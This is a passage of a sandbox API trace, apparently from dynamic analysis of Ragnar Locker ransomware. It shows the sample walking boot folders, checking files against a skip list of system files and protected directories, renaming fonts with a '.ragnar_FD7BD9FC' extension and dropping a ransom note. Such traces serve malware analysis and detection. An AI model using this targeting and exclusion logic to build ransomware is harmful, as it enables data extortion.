lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0047.314] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.314] lstrcpyW (in: lpString1=0x1ecb94, lpString2="cht_boot.ttf" | out: lpString1="cht_boot.ttf") returned="cht_boot.ttf" [0047.314] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="autorun.inf") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="boot.ini") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootfont.bin") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootsect.bak") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootmgr") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootmgr.efi") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootmgfw.efi") returned 1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="desktop.ini") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="iconcache.db") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntldr") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.dat") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.ini") returned -1 [0047.314] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="thumbs.db") returned -1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".db") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".sys") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".dll") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".lnk") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".msi") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".drv") returned 1 [0047.314] lstrcmpiW (lpString1=".ttf", lpString2=".exe") returned 1 [0047.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0047.315] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.315] CloseHandle (hObject=0xffffffff) returned 0 [0047.315] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" [0047.315] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.ragnar_FD7BD9FC" [0047.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.315] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0047.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.315] lstrcpyW (in: lpString1=0x1ecb94, lpString2="jpn_boot.ttf" | out: lpString1="jpn_boot.ttf") returned="jpn_boot.ttf" [0047.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="autorun.inf") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="boot.ini") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootfont.bin") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootsect.bak") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootmgr") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootmgr.efi") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootmgfw.efi") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="desktop.ini") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="iconcache.db") returned 1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntldr") returned -1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.dat") returned -1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.ini") returned -1 [0047.316] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="thumbs.db") returned -1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".db") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".sys") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".dll") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".lnk") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".msi") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".drv") returned 1 [0047.316] lstrcmpiW (lpString1=".ttf", lpString2=".exe") returned 1 [0047.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0047.316] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.316] CloseHandle (hObject=0xffffffff) returned 0 [0047.316] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" [0047.316] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.ragnar_FD7BD9FC" [0047.317] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.317] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0047.317] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.317] lstrcpyW (in: lpString1=0x1ecb94, lpString2="kor_boot.ttf" | out: lpString1="kor_boot.ttf") returned="kor_boot.ttf" [0047.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="autorun.inf") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="boot.ini") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootfont.bin") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootsect.bak") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootmgr") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootmgr.efi") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootmgfw.efi") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="desktop.ini") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="iconcache.db") returned 1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntldr") returned -1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.dat") returned -1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.dat.log") returned -1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.ini") returned -1 [0047.317] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="thumbs.db") returned -1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".db") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".sys") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".dll") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".lnk") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".msi") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".drv") returned 1 [0047.317] lstrcmpiW (lpString1=".ttf", lpString2=".exe") returned 1 [0047.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0047.318] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.318] CloseHandle (hObject=0xffffffff) returned 0 [0047.318] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" [0047.318] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.ragnar_FD7BD9FC" [0047.318] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.318] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.318] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.318] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.318] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.318] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.318] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0047.318] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\Fonts\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.318] lstrcpyW (in: lpString1=0x1ecb94, lpString2="wgl4_boot.ttf" | out: lpString1="wgl4_boot.ttf") returned="wgl4_boot.ttf" [0047.318] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="autorun.inf") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="boot.ini") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootfont.bin") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootsect.bak") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootmgr") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootmgr.efi") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootmgfw.efi") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="desktop.ini") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="iconcache.db") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntldr") returned 1 [0047.318] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.dat") returned 1 [0047.319] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.dat.log") returned 1 [0047.319] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.ini") returned 1 [0047.319] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="thumbs.db") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".db") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".sys") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".dll") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".lnk") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".msi") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".drv") returned 1 [0047.319] lstrcmpiW (lpString1=".ttf", lpString2=".exe") returned 1 [0047.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0047.319] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.319] CloseHandle (hObject=0xffffffff) returned 0 [0047.319] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" [0047.319] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.ragnar_FD7BD9FC" [0047.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.319] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0047.319] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.319] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0047.319] lstrcmpiW (lpString1="fr-FR", lpString2=".") returned 1 [0047.319] lstrcmpiW (lpString1="fr-FR", lpString2="..") returned 1 [0047.319] lstrcmpiW (lpString1="fr-FR", lpString2="Windows") returned -1 [0047.319] lstrcmpiW (lpString1="fr-FR", lpString2="Windows.old") returned -1 [0047.319] lstrcmpiW (lpString1="fr-FR", lpString2="Tor browser") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Internet Explorer") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Google") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Opera") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Opera Software") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Mozilla") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="Mozilla Firefox") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="$Recycle.Bin") returned 1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="ProgramData") returned -1 [0047.320] lstrcmpiW (lpString1="fr-FR", lpString2="All Users") returned 1 [0047.320] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.320] lstrcpyW (in: lpString1=0x1ed660, lpString2="fr-FR" | out: lpString1="fr-FR") returned="fr-FR" [0047.320] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\") returned="\\\\?\\C:\\Boot\\fr-FR\\" [0047.320] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\fr-FR\\" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\") returned="\\\\?\\C:\\Boot\\fr-FR\\" [0047.320] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fr-FR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\fr-FR\\RGNR_FD7BD9FC.txt" [0047.320] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\fr-FR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\fr-fr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.331] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fr-FR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\*.*") returned="\\\\?\\C:\\Boot\\fr-FR\\*.*" [0047.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fr-FR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.331] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.331] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.331] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.331] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.331] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.331] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.331] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.331] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.331] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.331] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.331] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.331] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.331] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.331] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, 